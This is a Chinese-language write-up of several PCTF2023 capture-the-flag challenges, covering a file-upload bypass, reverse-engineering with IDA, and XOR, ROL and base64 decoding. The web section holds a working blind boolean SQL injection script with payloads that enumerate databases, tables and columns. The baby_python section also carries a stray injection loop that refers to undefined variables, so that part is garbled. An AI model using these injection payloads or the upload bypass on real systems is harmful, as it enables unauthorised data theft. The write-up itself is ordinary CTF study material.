PCTF2023

web

Sign In

点开是这样的

鼠标到url的地方然后ctrl+U查看源代码

PCTF2023_第1张图片

PCTF2023_第2张图片

easyupload

文件上传的题

PCTF2023_第3张图片

PCTF2023_第4张图片

传一个jpg

PCTF2023_第5张图片

抓包后修改文件名为pflag.php

PCTF2023_第6张图片

flag

flag(AD_Qual_DOne_!)

111z_sql

打开就是我们的签到页面

用了现成的脚本,改了一下端口

import requests

url = "http://node6.anna.nssctf.cn:28089/copyright.php"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0",
    "Accept": "*/*",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "http://node6.anna.nssctf.cn:28089/",
    "Referer": "http://node6.anna.nssctf.cn:28089/"
}
# payload = "id=0'||if(ascii(substr((select%09database()),{},1))>{},1,0)#"
# payload = "id=0'||if(ascii(substr((select%09group_concat(table_name)from(information_schema.tables)where(table_schema=database())),{},1))>{},1,0)#"
# payload = "id=0'||if(ascii(substr((select%09group_concat(column_name)from(information_schema.columns)where(table_name='flag')),{},1))>{},1,0)#"
payload = "id=0'||if(ascii(substr((select%09group_concat(pctf)from(xitif_sql.flag)),{},1))>{},1,0)#"
flag =''
for i in range(1,100):
    high = 128
    low = 32
    mid = (high+low)//2
    while high>low:
        payload1 =payload.format(i,mid)
        response = requests.post(url=url, headers=headers, data=payload1)
        # print(response.text)
        # print(payload1)
        if "flag{fake_flag}"  in response.text:
            low = mid +1
        else:
            high = mid
        mid = (high+low)//2
    if chr(mid) == " ":
        break
    flag += chr(mid)
    print(flag)
# for i in range(1,50):
#     for j in range(32,127):
#         payload1 = payload.format(i,j)
#         print(payload1)
#         response = requests.post(url=url, headers=headers, data=payload1)
#         print(response.text)
#         if "flag{fake_flag}"  not in response.text:
#             flag += chr(j)
#             print(flag)
#             break

flag

flag{n1ce_y0u_g3t_my_f1ag_hhhhhhhhhh}

reverse

文学ida与化学gdb

用ida打开就有flag 附件flag1(bdwp)

PCTF2023_第7张图片

flag

flag{TLooking_glass_Insects}

xor

附件xor.exe在ida打开,F5查看main函数(附件在bdwp)

PCTF2023_第8张图片

把代码拿给gpt分析一通

要输出正确的 flag,首先需要理解程序的逻辑。程序似乎是检查用户输入的 flag 是否与特定的加密的 flag 相匹配。这里是一个简单的XOR加密,所以过程是可逆的。以下是程序的工作流程:

  1. 用户输入一个字符串(希望是正确的 flag)。
  2. 程序将输入的每个字符与 0x23(十进制中的35)做了XOR操作。
  3. XOR操作后的结果会与 enc[] 数组中的元素进行比较。
  4. 如果所有经过XOR处理的输入字符与 enc[] 的相应字符匹配,程序会输出 "yes,you are right~";否则,输出 "wrong!" 并退出。

若要确定正确的 flag,你可以反转XOR操作。XOR有一个特性,即如果你对一个数值XOR两次相同的数值,你会得到原始数值:

A XOR B = C
C XOR B = A

因此,如果你有 enc[] 数组,可以通过将 enc[] 中的每个元素与 0x23 进行XOR操作来得到正确的 flag。以下是可能的C语言代码来执行此操作:

char enc[] = {/* 加密的flag数组,应该从程序的其它部分获得 */};
char flag[109]; // 108 + 1 ,因为最后需要一个空字符 '\0' 来结束字符串

for (int i = 0; i <= 0x2C; ++i) {
  flag[i] = enc[i] ^ 0x23u;
}
flag[0x2D] = '\0'; // 添加字符串终止符

puts(flag); // 输出解密后的flag

在这个代码中,enc[] 应当是程序其他部分的一个数组,包含了XOR操作后的 flag。这个代码示例将会打印出正确的 flag。请注意,这段代码假设加密的 flag 的长度是45个字符,即 0x2C + 1,因为数组索引是从0开始的。如果加密的 flag 长度不同,你需要调整循环的条件来匹配实际长度。

在实际情况中,恢复 flag 还要求你能够访问 enc 数组的内容,这通常会在挑战文件的其它部分给出,或者可能需要通过逆向工程的方式从二进制执行文件中提取。

PCTF2023_第9张图片

最后运行的代码

#include 

int main() {
    char enc[] = {'E','O','B','D','X','@','L','M','D','Q','B','W','V','O','B','W','J','L','M','|','Z','L','V','Q','|','B','Q','F','|','Q','F','B','O','O','Z','|','H','M','L','T','|','[','L','Q','^'};
    char flag[109]; // 108 + 1 ,因为最后需要一个空字符 '\0' 来结束字符串
    
    for (int i = 0; i <= 0x2C; ++i) {
        flag[i] = enc[i] ^ 0x23u;
    }
    flag[0x2D] = '\0'; // 添加字符串终止符
    
    puts(flag); // 输出解密后的flag
    return 0;
}

PCTF2023_第10张图片

flag

flag{congratulation_your_are_really_know_xor}

baby_python

附件baby_python.py(bdwp)

import base64
a = input()
b = []
for i in a:
    b.append(chr(ord(i) ^ 0x10))

b = "".join(b)
if(bytes.decode(base64.b64encode(b.encode('utf-8'))) == "dnxxd2tAaWR4X35PIWNPYnVxISEpT3l+ZHVidWNkWX53IWkxMTFt"):
    print("You are right!!!")
else:
    print("nonono,try again.")

找了现成的脚本

import base64
def decrypt(encoded_str):
    decoded_bytes=base64.b64decode(encoded_str)
    decoded_str = decoded_bytes.decode('utf-8')
    decrypted=[]
    for char in decoded_str:
        decrypted_char = chr(ord(char)^0x10)
        decrypted.append(decrypted_char)
    return ''.join(decrypted)
encrypted_string="dnxxd2tAaWR4X35PIWNPYnVxISEpT3l+ZHVidWNkWX53IWkxMTFt"
decrypted_result = decrypt(encrypted_string)
print(decrypted_result)

for i in range(0,50):
    for j in range(0,256):
        payload1 =payload.format(i,j)
        data = {
            "username": payload1,
            "password": "123"
        }
        request = requests.post(url, data)
        if "yes" in request.text:
            print(chr(j),end="")
print()
print(payload1)

flag

flag{PythOn_1s_rea119_interestIng1y!!!}

upx

有一个附件upx.exe(bdwp)

去搜了一下发现upx是逆向工具,去下载了upx工具脱壳

not packed by UPX显示没有壳,我已经脱过了

upx -d "X:\download firefox\upx.exe"

PCTF2023_第11张图片

脱壳后用ida查看main函数

下面是main函数代码(C)

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[108]; // [rsp+20h] [rbp-70h] BYREF
  unsigned int i; // [rsp+8Ch] [rbp-4h]

  _main();
  printf("please input your flag:");
  scanf("%s", v4);
  for ( i = 0; i <= 0x1E; ++i )
  {
    if ( (unsigned __int8)rol((unsigned int)v4[i], 3i64) != encode[i] )
    {
      printf("your input is wrong, try again~~~");
      exit(0);
    }
  }
  return printf("your flag is right");
}

这段代码是一个简单的加密检验程序,它要求用户输入一个所谓的“flag”,然后对这个输入字符串的每个字符进行循环左移(rotate left)操作,并与一个名为 encode 的数组进行比较。若输入字符串的处理结果与 encode 数组的内容匹配,则表示输入的flag是正确的。

要获取flag的值,你需要知道 encode 数组里的值,并且理解 rol 函数是如何运作的。rol 函数将字符的位向左移指定的位数,在这个例子中是3位,并且是循环移位,即移出的位会重新从右边进入。

以下是获取 flag 的大致步骤:

  1. 获取 encode 数组的值:你需要找到 encode 数组的内容。这通常在程序的其他部分定义,如果是一个逆向工程的挑战,你可能需要使用逆向工程工具来找出这个数组的值。
  2. 逆向 rol 函数:因为 rol 函数是循环左移3位,你需要对 encode 数组中的每个值执行相反的操作,即循环右移3位(ror)。这样,你就能得到输入字符串的每个字符的原始值。

简单分析了一下

要找到encode

alt+t快捷搜索即可找到

PCTF2023_第12张图片

def ror(val, r_bits, max_bits: int = 8) -> int:
    """向右循环移动val的r_bits位。"""
    return (val >> (max_bits - r_bits)) | (val << r_bits) & ((1 << max_bits) - 1)

encoded = [
    0xCC, 0x8D, 0x2C, 0xEC, 0x6F, 0x2F, 0x66, 0x6E, 0xEB, 0x2F,
    0x06, 0xAA, 0xEB, 0x6D, 0xC9, 0x06, 0xCE, 0xCE, 0xEB, 0xAA,
    0x0E, 0x0F, 0xEB, 0xEE, 0x66, 0x8D, 0x8D, 0x24, 0x24, 0x24,
    0xAF
]

# 由于我们知道输入的字符数量是30个(0x1E + 1),我们可以直接解码这么多字符
decoded_flag = ''
for byte in encoded[:30]:  # 只取前30个字节
    decoded_flag += chr(ror(byte, 3))

print(f"The flag is: {decoded_flag}")

PCTF2023_第13张图片

flag

flag{y3s_y0U_kN0vv_Upx_w3ll!!!}

crypto

原神,启动!

附件一张图片

PCTF2023_第14张图片

PCTF2023_第15张图片

flag

flag{pctfiamcoming}

misc

w3nx1z1去哪儿

flag格式:flag{比赛名称_美术馆名称}

附件给了一张图片和一段文字,可以看图片详细信息里有拍摄时间加经纬度

flag

flag{美亚杯_白瓷观止美术馆}

你可能感兴趣的:(python)